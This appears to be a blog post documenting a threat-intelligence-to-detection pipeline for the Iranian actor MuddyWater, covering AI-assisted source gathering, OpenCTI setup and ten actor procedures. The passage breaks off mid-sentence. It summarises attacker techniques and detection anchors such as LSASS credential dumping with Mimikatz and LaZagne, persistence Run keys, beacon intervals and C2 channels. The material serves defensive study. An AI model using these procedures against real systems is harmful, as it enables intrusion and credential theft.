<description><![CDATA[11 validated detections from public sources, OpenCTI graph, and a one-command labTable of&nbsp;ContentsMost threat actor writeups stop too early. They describe the group, list ATT&amp;CK techniques, and paste some IoCs. Then the report sits in a folder while defenders wonder: what do I actually do with this on&nbsp;Monday?Operation Desert Hydra is an answer to that question.This article documents a full CTI-to-detection pipeline focused on MuddyWater &mdash; an Iranian state-linked actor (MOIS) that has been targeting Israeli government, defense, and critical infrastructure organizations since at least 2019. By the end, you&rsquo;ll have 11 detection records, 12 Kibana proof screenshots, and a working lab you can deploy with a single&nbsp;command.Everything is on my GitHub: github.com/anpa1200/operation-desert-hydraGitHub - anpa1200/operation-desert-hydra: OpenCTI-based CTI-to-Detection Knowledge Graph for Iranian activity against Israeli organizationsWhy MuddyWater?The PipelinePhase 1: Source GatheringPhase 2: Procedure DatasetPhase 3: OpenCTI Knowledge GraphPhase 4: Detection AtlasPhase 5: Validation LabValidation Results&nbsp;SummaryPhase 6: Coverage&nbsp;MatrixWhat Defenders Should Do Right&nbsp;NowReproduce It&nbsp;YourselfProduction ScarsWhy MuddyWater?Three reasons:Rich public reporting. CISA, Israel&rsquo;s INCD, ClearSky, Deep Instinct, Mandiant, and Proofpoint have all published detailed technical analysis. This gives enough procedure-level specificity to engineer real detections.Consistent playbook. Across five years of reporting, the same pattern recurs: spearphishing &rarr; scripting engine &rarr; encoded PowerShell &rarr; RMM tool. The consistency makes it detectable.Relevant geography. The actor consistently targets Israeli organizations &mdash; a geography with high analytical value and underserved public detection coverage.The PipelineThe project enforces a chain from source to Kibana screenshot:source &rarr; claim &rarr; procedure &rarr; ATT&amp;CK mapping &rarr; telemetry requirement  &rarr; detection pseudologic &rarr; benign simulation &rarr; lab result &rarr; coverage scoreNo step is skipped. Every claim has a source. Every detection has a validation case. Every PASS has a screenshot.Phase 1: Source GatheringThe first step is source discovery, not detection writing.Traditional Source Gathering &mdash; and Why It&rsquo;s Not Enough&nbsp;AloneThe standard workflow for CTI source gathering looks like this: run keyword searches (Google, Google Dorks, site: operators for known vendor blogs), check your Threat Intelligence Platform for existing reports on the actor, subscribe to vendor RSS feeds, pull ISAC/ISAO advisories, and query your organization&rsquo;s TIP for any existing indicator sets or finished intelligence reports tagged to the&nbsp;actor.For a mature, well-documented actor like MuddyWater this gets you to maybe 15&ndash;20 well-known sources quickly &mdash; the CISA advisory, the MITRE ATT&amp;CK page, two or three vendor blog posts you already knew about. The problem is coverage holes: you&rsquo;ll reliably find sources that are already in your network&rsquo;s vocabulary and miss the ones that aren&rsquo;t. A CERT-IL PDF published in Hebrew and linked only from a government portal, a Group-IB campaign teardown behind a partial paywall, or a 2020 ClearSky report that predates your current TIP subscription window &mdash; all of these can fall out of a manual search&nbsp;pass.TIPs compound this in a specific way: they surface what has already been ingested and tagged. If a source was never promoted into your TIP (because it was published before the subscription started, or because no analyst had time to import it), it is invisible inside the platform. The TIP is authoritative for what it knows, not for the universe of available sources.AI researchThe parallel AI research pass was not a replacement for traditional gathering &mdash; it was a coverage supplement. After both approaches ran, the traditional pass and the AI outputs were merged into the same deduplication step. The AI outputs added approximately 40 sources beyond what a manual search surfaced; traditional search added discipline about sources the models hallucinated (fabricated URLs, mis-attributed PDFs). Neither was sufficient alone.I ran parallel deep-research passes using Gemini and OpenAI, both given the same prompt. Each returned a candidate source register. Both outputs were compared, deduplicated (71 candidates &rarr; 8 promoted), and the surviving sources were manually acquired and reviewed before anything entered the&nbsp;dataset.The Actual&nbsp;PromptThis is the exact prompt used &mdash; both models received it verbatim:You are a senior CTI researcher and source-validation analyst. For Operation Desert Hydra,gather the best public sources on MuddyWater / Seedworm / Mango Sandstorm / TA450 andrelated Iranian activity against Israeli organizations. Goal: create a source register foran OpenCTI-based CTI-to-detection knowledge graph:Source &rarr; Actor &rarr; Campaign &rarr; Procedure &rarr; ATT&amp;CK Technique &rarr; Observable &rarr; Log Source&rarr; Detection &rarr; Validation &rarr; Coverage.Search MITRE ATT&amp;CK, CISA/FBI/NSA, Israel National Cyber Directorate, Microsoft,Google/Mandiant, ESET, Check Point, ClearSky, Unit 42, Proofpoint, SentinelOne,Recorded Future, Symantec, Talos, Trend Micro, Kaspersky, Cloudflare/Hunt.io/DomainTools,GitHub, and academic sources.Include secondary comparison actors only as comparison: APT34, APT35/Charming Kitten/MintSandstorm, CyberAv3ngers, Agrius. Do not merge actors unless a source explicitly supportsoverlap.For every source, return this YAML structure:  id, title, publisher, url, direct_download_url, download_type, publication_date,  access_date, actor_claims, source_type, reliability, relevance flags for  actor_profile/procedures/malware/infrastructure/detections/validation_lab/opencti_modeling,  key_entities, key_attck_techniques, source_summary, use_for_project, limitations.Provide direct PDF/STIX/JSON/CSV/GitHub raw links where available; if unavailable writedirect_download_url: none_found. Do not invent URLs or dates.Use evidence labels:  Observed = directly shown in telemetry/sample/log/screenshot/source artifact  Reported = stated by source  Assessed = source judgment  Inferred = analyst conclusion from multiple cited facts  Gap = unknown or not provenDo not upgrade source claims, do not treat ATT&amp;CK mapping as attribution evidence, do nottreat shared tooling as actor identity proof, and do not claim detection coverage withoutvalidation.Search exact terms including:  MuddyWater Iran MOIS, MuddyWater Seedworm, MuddyWater Mango Sandstorm,  MuddyWater TA450, MuddyWater POWERSTATS, PowGoop, MuddyViper, MuddyWater Israel,  Israeli organizations, PowerShell, RMM, phishing, spearphishing, Exchange CVE-2020-0688,  CVE-2017-0199, MITRE ATT&amp;CK, CISA FBI NSA advisory, Mango Sandstorm Microsoft,  TA450 Proofpoint, Seedworm Symantec, ESET, ClearSky, Unit 42, Check Point, Mandiant,  SentinelOne, Recorded Future, Talos, Trend Micro, Kaspersky;  also: APT34 Israel, APT35 Israel, Mint Sandstorm Israel, CyberAv3ngers Israel,  Agrius Israel, Iranian threat actors Israeli organizations.Output only these sections:  1) Executive Source Assessment  2) High-Priority Source Register with 10-20 best sources in YAML  3) Extended Source Register  4) Direct Downloads Table  5) Actor Alias / Overlap Notes  6) Procedure Extraction Candidates grouped by tactic with source_ids, evidence_label,     ATT&amp;CK candidate, required telemetry, detection opportunity, validation_possible  7) OpenCTI Modeling Candidates  8) Detection Engineering Opportunities marked candidate only  9) Gaps And Manual Review ItemsThe final output must be usable to seed data/sources.yaml, data/procedures.yaml,docs methodology, OpenCTI import plan, and detection atlas.What the Prompt Is Designed to&nbsp;DoA few decisions worth explaining:Output schema in the prompt. Asking for a specific YAML field list (id, title, publisher, url, direct_download_url&hellip;) forces the model to either produce usable data or leave a visible blank &mdash; no vague summaries. direct_download_url: none_found is the required answer when a URL doesn&#039;t exist, which prevents the model from inventing one.Evidence labels baked in. The five labels (Observed / Reported / Assessed / Inferred / Gap) are defined in the prompt so the model applies them consistently and the output is ready to feed directly into data/procedures.yaml without reformatting.Explicit anti-hallucination rules. &ldquo;Do not invent URLs or dates.&rdquo; &ldquo;Do not upgrade source claims.&rdquo; &ldquo;Do not treat ATT&amp;CK mapping as attribution evidence.&rdquo; These are not just principles &mdash; they are instructions the model can fail visibly on, which makes QA&nbsp;faster.Parallel models, same prompt. Running Gemini and OpenAI on the same prompt and comparing outputs catches source fabrications: if one model lists a URL the other doesn&rsquo;t, that URL gets verified before it enters the register. Two models that agree independently on a source add confidence; one model alone that lists something unusual is a&nbsp;flag.The Review&nbsp;GateEvery source that came out of the AI output went through this checklist before being promoted into data/sources.yaml:Is the URL real and accessible?Is the publication date accurate?Does the content actually describe MuddyWater procedures (not just mention the&nbsp;name)?Is there at least one procedure-level claim (not just &ldquo;actor uses PowerShell&rdquo;)?Is the actor identification explicit or inferred from shared tooling&nbsp;only?71 candidates &rarr; 8 government/vendor sources promoted. The rest were duplicates, secondary summaries, or sources that named the actor without procedure-level specificity.Research Artifacts (All in the&nbsp;Repo)Every file from the source gathering workflow is version-controlled and publicly accessible:Gemini-research.md &mdash; Raw Gemini deep-research output: candidate source register in YAML, procedure extraction candidates, OpenCTI modeling candidates, detection opportunities, gaps.openAI-research.md &mdash; Raw OpenAI deep-research output: executive assessment, high-priority sources, extended source register, direct download list, actor alias&nbsp;notes.relevant-research-list.md &mdash; Deduplicated candidate list after comparing both model outputs: 71 sources, acquisition targets for Step&nbsp;5.source-acquisition-report.md &mdash; Results of the automated fetch run: HTTP status, content type, file size, and extraction status for all 71&nbsp;sources.source-reliability-evidence-assessment.md &mdash; Analyst review notes: reliability ratings, evidence quality, promotion decisions, and limitations per&nbsp;source.raw-sources/ &mdash; 71 numbered source folders, each containing metadata.json, headers.txt, the raw source file, extracted source.txt, and fallback reader&nbsp;output.Promoted sources (highest&nbsp;weight):CISA AA22&ndash;055A (Feb 2022) &mdash; Full procedure survey: PowGoop, POWERSTATS, Small Sieve, Mori, Canopy, Marlin; WMI survey script; credential dumping&nbsp;tools.INCD 2023 &mdash; Israeli campaign specifics: ScreenConnect/SimpleHelp RMM abuse, Egnyte/OneDrive lures, Log4j + Exchange exploitation.INCD 2024 &mdash; BugSleep analysis: 43-minute scheduled task beacon, VPN exploitation, new RMM tools (Level, PDQConnect).Supporting vendor sources: ClearSky, Deep Instinct, Group-IB, Mandiant, Proofpoint, Sekoia.io, Symantec.Why These Three Have the Highest&nbsp;WeightThe reliability assessment used a two-axis rubric: Source Reliability (A&ndash;F) separating publication discipline from content, and Information Credibility (1&ndash;6) rating how well each claim is grounded.CISA AA22&ndash;055A &mdash; Reliability A, Credibility 2This is a joint advisory signed by five national authorities: CISA, FBI, CNMF, NCSC-UK, and NSA. That multi-agency co-signature is not ceremonial &mdash; each agency must independently agree to the technical content before it publishes. The advisory names specific malware families (PowGoop, POWERSTATS, Small Sieve, Mori, Canopy, Marlin), includes an actual WMI PowerShell survey script attributed to MuddyWater, and lists credential-dumping tool names. Evidence label: Reported / Assessed. The PDF acquired locally at raw-sources/07-u-s-cyber-command-defense-media-aa22-055a-pdf-mirror/source.pdf is the authoritative copy distributed via Defense Media Activity. Credibility is 2, not 1, because the advisory states TTPs based on intelligence assessment rather than a single intercepted artifact &mdash; but the authority behind that assessment is as high as public-source CTI&nbsp;gets.INCD 2023 (MuddyWater / DarkBit PDF) &mdash; Reliability A, Credibility 2The Israel National Cyber Directorate is the government authority responsible for civilian cyber defense in Israel, the primary target country for this actor. This report covers a specific Israeli campaign including: tool names (ScreenConnect, SimpleHelp), file-sharing lure services (Egnyte, OneDrive), exploitation of Log4j and Exchange CVE-2020&ndash;0688, and deployment of ransomware (DarkBit) as a cover operation. Evidence label: Observed / Reported / Assessed. The &quot;Observed&quot; label means the INCD had direct visibility into the incident &mdash; not a secondary summary. This gives procedure-level specificity that generic vendor threat intel doesn&#039;t reach. Acquired at raw-sources/17-israel-national-cyber-directorate-muddywater-darkbit-pdf/source.pdf.INCD 2024 (BugSleep PDF) &mdash; Reliability A, Credibility 2Same publisher authority as INCD 2023, focused on MuddyWater&rsquo;s 2024 evolution. Key content: BugSleep backdoor analysis, the specific 43-minute scheduled task beacon interval (which became proc_mw_0006 and det_mw_0006), VPN exploitation, and new RMM tools (Level, PDQConnect). The 43-minute interval is a concrete behavioral fingerprint &mdash; not a general TTP category &mdash; and it came from direct INCD analysis. Evidence label: Observed / Reported / Assessed. Acquired at raw-sources/18-israel-national-cyber-directorate-technological-advancement-and-evolution-of-muddywater-in/source.pdf.The three sources share a common characteristic: they are not secondary aggregators or vendor marketing. They are government authorities with direct incident visibility reporting on specific Israeli campaigns.Steps After Deduplication: What Actually Happened to All 71&nbsp;SourcesAfter the AI outputs were merged and deduplicated, 71 candidate sources remained. Here is what happened to them across Steps&nbsp;5&ndash;9:Step 5 &mdash; Automated Acquisitiontools/fetch_research_sources.py ran against all 71 URLs. For each source it created a numbered folder under docs/source-gathering/raw-sources/ with:raw-sources/  01-mitre-att-ck-muddywater-g0069/    metadata.json        # URL, fetch timestamp, HTTP status, content-type, size    headers.txt          # Raw HTTP response headers    source.html / source.pdf / source.txt   # Primary file    source.txt           # Text extract (for PDFs and HTML)    fallback-reader.txt  # Reader-mode fallback if primary was blocked or JS-renderedNot all fetches succeeded. Some sources returned 403 (vendor gating), some required JS rendering (only fallback text was captured), and two PDFs were corrupted. The acquisition report at docs/source-gathering/source-acquisition-report.md records the HTTP status, file size, and extraction status for all&nbsp;71.Step 6 &mdash; Reliability and Credibility RatingEach acquired source was rated using the two-axis rubric. The full assessment table is in docs/source-gathering/source-reliability-evidence-assessment.md. Outcome breakdown:Reliability A (government / primary standard): 23&nbsp;sourcesReliability B (usually reliable vendor / research publisher): 25&nbsp;sourcesReliability C (secondary / news / marketing): 18&nbsp;sourcesReliability F (failed acquisition or cannot judge): 5&nbsp;sourcesStep 7 &mdash; Promotion DecisionOnly sources with a combination of Reliability A or B, Credibility 2 or better, a usable acquisition, and at least one procedure-level claim were promoted into data/sources.yaml. The rest were assigned one of: Use as corroboration, Use as comparison only, Defer, or&nbsp;Exclude.71 candidates &rarr; 8 primary sources promoted into the dataset. The 63 that were not promoted are retained in raw-sources/ for future work; they are not discarded.Step 8 &mdash; Claim ExtractionFor each promoted source, specific claims were extracted with source binding and evidence labels. A claim is not &ldquo;MuddyWater uses PowerShell&rdquo; &mdash; it is: &ldquo;CISA AA22&ndash;055A (AA22&ndash;055A PDF, p.4) reports that MuddyWater actors deploy PowGoop, a DLL loader that decrypts and executes a PowerShell backdoor (Reported).&quot; This source-bound format prevents claim drift downstream.Step 9 &mdash; Procedure Candidate ExtractionFrom the bound claims, 10 procedure candidates were grouped by tactic: Initial Access, Execution, Persistence, Defense Evasion, Discovery, C2, Credential Access. Each candidate recorded: required telemetry, detection opportunity, whether lab validation was feasible, and whether the procedure appeared in multiple independent sources (a promotion signal for higher confidence scores&nbsp;later).The Full 71-Source Candidate ListThis is the deduplicated list produced after comparing Gemini and OpenAI outputs. Every source here was an acquisition target for Step&nbsp;5.Core MuddyWater / Seedworm / TA450 / Mango SandstormMITRE ATT&amp;CK &mdash; MuddyWater G0069MITRE ATT&amp;CK &mdash; POWERSTATS S0223MITRE ATT&amp;CK &mdash; PowGoop&nbsp;S1046CISA alert &mdash; Iranian Government-Sponsored MuddyWater Actors Conducting Malicious Cyber OperationsCISA / FBI / CNMF / NCSC-UK / NSA &mdash; AA22&ndash;055A advisory&nbsp;pageCISA / FBI / CNMF / NCSC-UK / NSA &mdash; AA22&ndash;055A PDFU.S. Cyber Command / Defense media &mdash; AA22&ndash;055A PDF&nbsp;mirrorNCSC-UK &mdash; Joint advisory on MuddyWater actorU.S. Cyber Command / Iran Watch mirror &mdash; Iranian intel cyber suite of malware&nbsp;PDFDecipher &mdash; US Cyber Command Discloses MuddyWater Malware&nbsp;SamplesSentinelOne &mdash; Wading Through Muddy&nbsp;WatersPalo Alto Unit 42 &mdash; Muddying the Water: Targeted Attacks in the Middle&nbsp;EastCERTFA Radar &mdash; MuddyWater Threat Actor&nbsp;ClusterCERTFA Radar &mdash; MuddyWater / Earth Vetala IntrusionGroup-IB &mdash; MuddyWater APT Group&nbsp;ProfileIsrael-Focused MuddyWater SourcesIsrael National Cyber Directorate &mdash; MuddyWater pageIsrael National Cyber Directorate &mdash; MuddyWater / DarkBit&nbsp;PDFIsrael National Cyber Directorate &mdash; Technological Advancement and Evolution of MuddyWater in 2024&nbsp;PDFIsrael National Cyber Directorate &mdash; Overview of Recent Phishing&nbsp;PDFClearSky &mdash; Operation Quicksand: MuddyWater&rsquo;s Offensive Attack Against Israeli OrganizationsClearSky &mdash; Operation Quicksand PDFMicrosoft &mdash; MERCURY and DEV-1084: Destructive attack on hybrid environmentMicrosoft &mdash; Exposing POLONIUM activity and infrastructure targeting Israeli organizationsProofpoint &mdash; TA450 Uses Embedded Links in PDF Attachments in Latest&nbsp;CampaignHarfangLab &mdash; MuddyWater campaign abusing Atera&nbsp;AgentsDeep Instinct &mdash; DarkBeatC2: The Latest MuddyWater Attack FrameworkSC Media &mdash; Novel C2 tool leveraged in latest MuddyWater attacksCheck Point &mdash; MuddyWater Threat Group Deploys New BugSleep&nbsp;BackdoorESET / WeLiveSecurity &mdash; MuddyWater: Snakes by the riverbankESET press release &mdash; Iran&rsquo;s MuddyWater targets critical infrastructure in Israel and&nbsp;EgyptSecurity Affairs &mdash; MuddyWater strikes Israel with advanced MuddyViper malwareThe Hacker News &mdash; Iran-Linked MuddyWater Deploys Atera for Surveillance in Phishing&nbsp;AttacksRecent / Evolving MuddyWater ActivityProofpoint &mdash; Around the World in 90 Days: State-Sponsored Actors Try&nbsp;ClickFixProofpoint &mdash; Crossed Wires: a case study of Iranian espionage and attributionGroup-IB &mdash; Operation Olalampo: Inside MuddyWater&rsquo;s Latest&nbsp;CampaignThe Hacker News &mdash; MuddyWater Targets MENA Organizations with GhostFetch, CHAR, and&nbsp;HTTP_VIPRapid7 &mdash; Muddying the Tracks: The State-Sponsored Shadow Behind Chaos RansomwareThe Hacker News &mdash; MuddyWater Uses Microsoft Teams to Steal Credentials in False Flag Ransomware AttackRapid7 &mdash; Iran Conflict Cyber Threat IntelligenceExtraHop &mdash; The Digital Front of Iranian Cyber Offensive and Defensive ResponseAbnormal Security &mdash; Tracking Iran-Aligned Cyber Operations Following U.S.-Israel StrikesUnit 42 &mdash; Boggy Serpens Threat AssessmentHive Pro &mdash; MuddyWater: Iran&rsquo;s Adaptive Cyber Espionage MachineHive Pro &mdash; MuddyWater / Operation Olalampo&nbsp;PDFKaspersky ICS CERT &mdash; APT and financial attacks on industrial organizations in Q2 2024&nbsp;PDFKaspersky ICS CERT &mdash; APT and financial attacks on industrial organizations in Q2 2025&nbsp;PDFTrend Micro &mdash; Annual APT Report 2025&nbsp;PDFIntel 471 &mdash; HUNTER Iranian Threat Actor Coverage&nbsp;PDFIran Threat Context and Comparison ActorsCISA &mdash; Iran Threat Overview and AdvisoriesCISA &mdash; Iran state-sponsored cyber threat publicationsCISA &mdash; AA23&ndash;335A: IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple&nbsp;SectorsCISA &mdash; AA23&ndash;335A PDFMITRE ATT&amp;CK &mdash; APT34MITRE ATT&amp;CK &mdash; APT35 / Charming&nbsp;KittenMITRE ATT&amp;CK &mdash; AgriusMicrosoft &mdash; Mint SandstormMicrosoft &mdash; Peach Sandstorm deploys new custom Tickler&nbsp;malwareMicrosoft Learn &mdash; How Microsoft names threat&nbsp;actorsSentinelOne &mdash; Iranian Cyber Activity&nbsp;OutlookTrellix &mdash; The Iranian Cyber Capability PDFOpenCTI / STIX / Knowledge Graph ReferencesOpenCTI documentation &mdash; Data&nbsp;modelOpenCTI documentation &mdash; GraphQL&nbsp;APIOpenCTI documentation &mdash; DeduplicationOASIS &mdash; STIX 2.1 HTML specificationOASIS &mdash; STIX 2.1 PDF specificationSTIX Project &mdash; RelationshipsSTIXnet &mdash; Extracting STIX Objects in CTI&nbsp;ReportsFrom Text to Actionable Intelligence: Automating STIX Entity and Relationship ExtractionContext-aware Entity-Relation Extraction for Threat Intelligence Knowledge GraphsValidate Before PromotingBrandefense &mdash; MuddyWater PDFKPMG &mdash; CTI Report MuddyWater PDFCritical discipline: AI output was used only for source discovery. Every claim, mapping, and detection record required analyst review before entering the&nbsp;dataset.Phase 2: Procedure DatasetA procedure record is not an ATT&amp;CK technique. ATT&amp;CK describes what a class of actors can do. A procedure record describes what this actor did, in this campaign, as documented by this source, with a specific evidence label attached.The distinction matters for detection. &ldquo;Adversaries use scheduled tasks (T1053.005)&rdquo; does not help you tune a detection rule. &ldquo;BugSleep creates a scheduled task with a 43-minute repeat interval (INCD 2024, Observed)&rdquo; does &mdash; because you now have a concrete interval to hunt for, a specific tool name, and a source you can cite in your detection rationale.Each of the 10 records in data/procedures.yaml captures four&nbsp;things:The specific behavior &mdash; not the technique categoryThe source references that support it, with evidence&nbsp;labelsCandidate ATT&amp;CK technique mappings and the reasoning behind each candidateRequired telemetry, a detection idea, validation plan, and known limitationsConfidence LabelsEach record carries one of four evidence labels inherited from the source assessment:Observed &mdash; the behavior appears directly in source telemetry, a recovered sample, a screenshot, or a government incident report with direct visibility into the event. This is the strongest label and the only one that justifies a high-priority detection without further corroboration.Reported &mdash; a source states the behavior occurred, but the evidence is assertion-level rather than artifact-level. Still usable; requires corroboration before relying on it&nbsp;alone.Assessed &mdash; the source draws an analytical conclusion based on multiple indicators. Appropriate for ATT&amp;CK candidate mappings; not sufficient alone for a new detection claim.Inferred &mdash; analyst conclusion derived from combining multiple reported facts across sources. Weakest label; flag for review before using in production.All 10 procedures in this dataset carry Observed or High confidence. That is not a coincidence &mdash; it reflects the promotion threshold. Procedures that came only from secondary or inferred sources were not promoted into data/procedures.yaml; they stayed in the claim extraction notes for future&nbsp;work.The 10 Proceduresproc_mw_0001 &mdash; Spearphishing Email Delivery Confidence: Observed &middot; Sources: AA22&ndash;055A, INCD 2023, INCD 2024 &middot; ATT&amp;CK: T1566.001, T1566.002, T1534Three delivery variants documented across all three primary government sources: ZIP attachments containing macro-enabled Excel files or PDFs; email links to Egnyte or OneDrive delivering compressed RMM installers; and emails sent from compromised legitimate accounts to increase lure credibility. In 2024, a Microsoft-update-lure campaign sent to 10,000+ accounts embedded a PowerShell API key, granting the actor direct agent access immediately after the RMM tool installed. Three independent government sources corroborate this procedure &mdash; it is the highest-confidence initial access vector in the&nbsp;dataset.proc_mw_0002 &mdash; Public-Facing Exploitation Confidence: Observed &middot; Sources: AA22&ndash;055A, INCD 2023, INCD 2024 &middot; ATT&amp;CK:&nbsp;T1190Secondary initial access vector to phishing. Documented CVEs: CVE-2020&ndash;1472 (Netlogon/Zerologon), CVE-2020&ndash;0688 (Exchange), CVE-2021&ndash;44228 (Log4j), and unspecified VPN vulnerabilities confirmed by INCD 2024. Exploitation is typically followed by RMM tool deployment or custom backdoor staging. The VPN claim from INCD 2024 does not name a specific CVE &mdash; treat as Reported until a CVE is attributed.proc_mw_0003 &mdash; PowerShell Execution and Script Obfuscation Confidence: Observed &middot; Sources: AA22&ndash;055A, INCD 2024 &middot; ATT&amp;CK: T1059.001, T1027Cross-cutting technique present in every tool tier. PowGoop uses an obfuscated&nbsp;.dat + config.txt PowerShell chain for C2 beaconing. POWERSTATS is a persistent PowerShell backdoor. The 2024 lure embedded an API key executed via PowerShell to grant direct agent access. Obfuscation is applied consistently via Base64, XOR, and custom encoding. Detection anchor: Script Block Logging (EID 4104) is the primary telemetry dependency &mdash; without it, this procedure is nearly invisible to endpoint-only detection.proc_mw_0004 &mdash; DLL Side-Loading Confidence: Observed &middot; Sources: AA22&ndash;055A, INCD 2024 &middot; ATT&amp;CK: T1574.002PowGoop&rsquo;s canonical execution method: a malicious DLL renamed Goopdate.dll placed alongside GoogleUpdate.exe, causing the legitimate signed binary to load and execute the malicious DLL. INCD 2024 confirms continued use across the 2024 toolset. Detection requires Sysmon EID 7 (image load) with signing status &mdash; not available from Windows Event Log alone. This is the most telemetry-constrained procedure in the dataset; validation was PARTIAL because the lab&#039;s stub DLL did not produce sufficient EID 7&nbsp;signal.proc_mw_0005 &mdash; Registry Run Key and Startup Folder Persistence Confidence: Observed &middot; Sources: AA22&ndash;055A, INCD 2024 &middot; ATT&amp;CK: T1547.001Small Sieve adds index.exe under the Run key named OutlookMicrosift &mdash; mimicking a Microsoft application name. Canopy installs its first WSF script in the startup folder. AA22-055A documents an additional key: SystemTextEncoding. INCD 2024 confirms continued use. The specific key names (OutlookMicrosift, SystemTextEncoding) are high-confidence IoCs when present; a detection based only on &quot;new Run key written by a non-installer&quot; will generate noise in most enterprise environments.proc_mw_0006 &mdash; Scheduled Task (43-Minute Beacon) Confidence: Observed &middot; Source: INCD 2024 (single source) &middot; ATT&amp;CK: T1053.005BugSleep creates a Windows scheduled task triggered every 43 minutes for C2 beaconing. The interval is documented as customizable, but 43 minutes is the specific value observed in the INCD 2024 analysis. This is a single-source procedure &mdash; INCD 2024 only &mdash; which is why it carries a coverage score of 4 (correlated analytic) rather than 5 in the detection atlas. Before treating this interval as a high-confidence fingerprint in production, corroborate with a vendor&nbsp;source.proc_mw_0007 &mdash; RMM Tool Abuse Confidence: Observed &middot; Sources: AA22&ndash;055A, INCD 2023, INCD 2024, multiple vendor sources &middot; ATT&amp;CK:&nbsp;T1219The most consistently documented technique across all source tiers &mdash; five independent government and vendor sources corroborate it. Tool inventory across campaigns: ScreenConnect (2022), SyncroRAT (Israel 2023), rport.exe (DarkBit operation), AteraAgent (multiple vendor sources), SimpleHelp, Level, PDQConnect (2024). The 2024 lure embedded an API key so the actor had direct agent access the moment the victim installed the tool. Detection must rely on delivery context and parent process &mdash; not binary name alone, since these are legitimate commercial tools.proc_mw_0008 &mdash; C2 via Web Protocols and DNS Tunneling Confidence: Observed &middot; Sources: AA22&ndash;055A, INCD 2024 &middot; ATT&amp;CK: T1071.001, T1572,&nbsp;T1102Multiple C2 channels documented. Small Sieve beacons via Telegram Bot API over HTTPS. Canopy sends collected data via HTTP POST. Blackout uses GET /questions and POST /about-us. AnchorRAT communicates over HTTPS port 443 in JSON format. Mori uses DNS tunneling. In 2024, Rentry.co was used as a legitimate platform for C2 redirection. The Telegram API is the highest-confidence detection anchor: outbound HTTPS to api.telegram.org from a non-browser process is unusual in enterprise environments and directly attributed across multiple&nbsp;sources.proc_mw_0009 &mdash; WMI System Discovery Survey Confidence: Observed &middot; Source: AA22&ndash;055A (script documented verbatim) &middot; ATT&amp;CK: T1047, T1082, T1016, T1033, T1518.001MuddyWater runs a PowerShell script that queries WMI to collect: IP addresses (Win32_NetworkAdapterConfiguration), OS name and architecture (Win32_OperatingSystem), hostname, domain, username, and AV product names (root\SecurityCenter2\AntiVirusProduct). The collected data is assembled into a delimited string, encoded, and sent to C2. The exact script is reproduced in the CISA advisory. The SecurityCenter2 query is the detection anchor: legitimate enterprise software rarely queries this WMI namespace outside AV management contexts, making it a low-noise signal.proc_mw_0010 &mdash; Credential Dumping from LSASS and Credential Stores Confidence: Observed &middot; Source: AA22&ndash;055A &middot; ATT&amp;CK: T1003.001, T1003.004, T1003.005Post-access credential access using three tools: Mimikatz and procdump64.exe against LSASS memory (T1003.001); LaZagne for LSA secrets (T1003.004) and cached domain credentials (T1003.005). Used post-exploitation to enable lateral movement with harvested credentials. Detection via Sysmon EID 10 (process accessing lsass.exe) is tool-agnostic &mdash; it fires regardless of whether the actor uses Mimikatz, procdump, or a custom variant with a different binary name. This is the most reliable detection path for this procedure.Phase 3: OpenCTI Knowledge GraphThe procedure dataset and source register go into a self-hosted OpenCTI 6.2 instance. This creates the analytical record &mdash; queryable, relationship-aware, ATT&amp;CK-linked.OpenCTI DeploymentThe stack used in this project is documented and publicly reproducible. The full deployment &mdash; Docker Compose, connectors, and an AI enrichment connector that calls Claude via the Anthropic API &mdash; lives in a dedicated project:GitHub: github.com/anpa1200/opencti-intelligent-shieldGitHub - anpa1200/opencti-intelligent-shield: OpenCTI AI-driven threat intelligence enrichment with Claude and Docusaurus documentationMedium guide:The Intelligent Shield. OpenCTIMain guide: anpa1200.github.io/opencti-intelligent-shieldOpenCTI AI Enrichment | The Intelligent ShieldThe Intelligent Shield project covers: OpenCTI core stack (Redis, Elasticsearch, MinIO, RabbitMQ, platform, workers), MITRE ATT&amp;CK connector, and a custom internal enrichment connector that uses Claude to automatically summarize and enrich threat objects. Docker Compose files, a sanitized&nbsp;.env.example, and full setup instructions are all version-controlled.To spin up the stack standalone (outside Operation Desert&nbsp;Hydra):git clone https://github.com/anpa1200/opencti-intelligent-shield.git openCTIcd openCTIcp .env.example .env# fill in tokens and passwords./scripts/start-all.sh   # OpenCTI at :8080./scripts/stop-all.sh    # halt, preserves volumesIn the context of Operation Desert Hydra the stack is embedded in stack/ and started with bash start.sh &mdash; no separate clone needed. The Intelligent Shield project is the standalone reference deployment for anyone who wants OpenCTI without the&nbsp;lab.Step 10: Stack&nbsp;Startbash start.sh --skip-lab   # starts OpenCTI + Elasticsearch + Kibana onlyAll 12 core containers start: Redis, Elasticsearch, MinIO, RabbitMQ, OpenCTI platform, 3 workers, and the MITRE ATT&amp;CK connector.Result: OpenCTI reachable at http://localhost:8080. All containers healthy.Step 11: MITRE ATT&amp;CK Connector SyncThe MITRE ATT&amp;CK connector loads 846 techniques into the graph. This sync must complete before the import script can link procedures to techniques.Result: 846 ATT&amp;CK patterns loaded. Connector state:&nbsp;ACTIVE.Step 12: Import&nbsp;ScriptScript: tools/opencti_import.pyexport OPENCTI_URL=http://localhost:8080export OPENCTI_TOKEN=python3 tools/opencti_import.pyThe script reads data/sources.yaml and data/procedures.yaml &mdash; it does not hardcode any intelligence. The YAML files are the single source of truth; the script is just a translation layer from those files into OpenCTI&#039;s API.What it creates and&nbsp;why:Step 1 &mdash; Iran MOIS (Identity: Organization). Every object in OpenCTI needs a createdBy reference. Creating the sponsoring organization first gives all downstream objects a consistent authoring context and makes the attribution relationship explicit in the graph: MuddyWater &rarr; attributed-to &rarr; Iran&nbsp;MOIS.Step 2 &mdash; MuddyWater (Intrusion Set). The intrusion set object carries all known aliases: Seedworm, Mango Sandstorm, TA450, Static Kitten, TEMP.Zagros, Mercury, DEV-1084. Aliases matter for deduplication &mdash; OpenCTI uses them to avoid creating duplicate entities when the same actor appears under different names in different reports.Step 3 &mdash; Malware catalog (9 objects). Each actor-developed tool gets a Malware object with a description derived from source reporting. The catalog: POWERSTATS, PowGoop, Small Sieve, Canopy, Mori, BugSleep, AnchorRAT, SyncroRAT, DarkBit.Step 4 &mdash; Tool catalog (4 objects). Legitimate tools abused by the actor are STIX Tool objects, not Malware &mdash; the distinction matters for downstream analysis. The catalog: AteraAgent, SimpleHelp, Mimikatz, LaZagne.Step 5 &mdash; uses relationships. MuddyWater &rarr; uses &rarr; each malware and tool object. These relationships make the graph queryable: &ldquo;which tools does this actor use?&rdquo; returns all 13 objects in one&nbsp;hop.Step 6 &mdash; Reports from sources.yaml. One Report object per promoted source, with publisher, 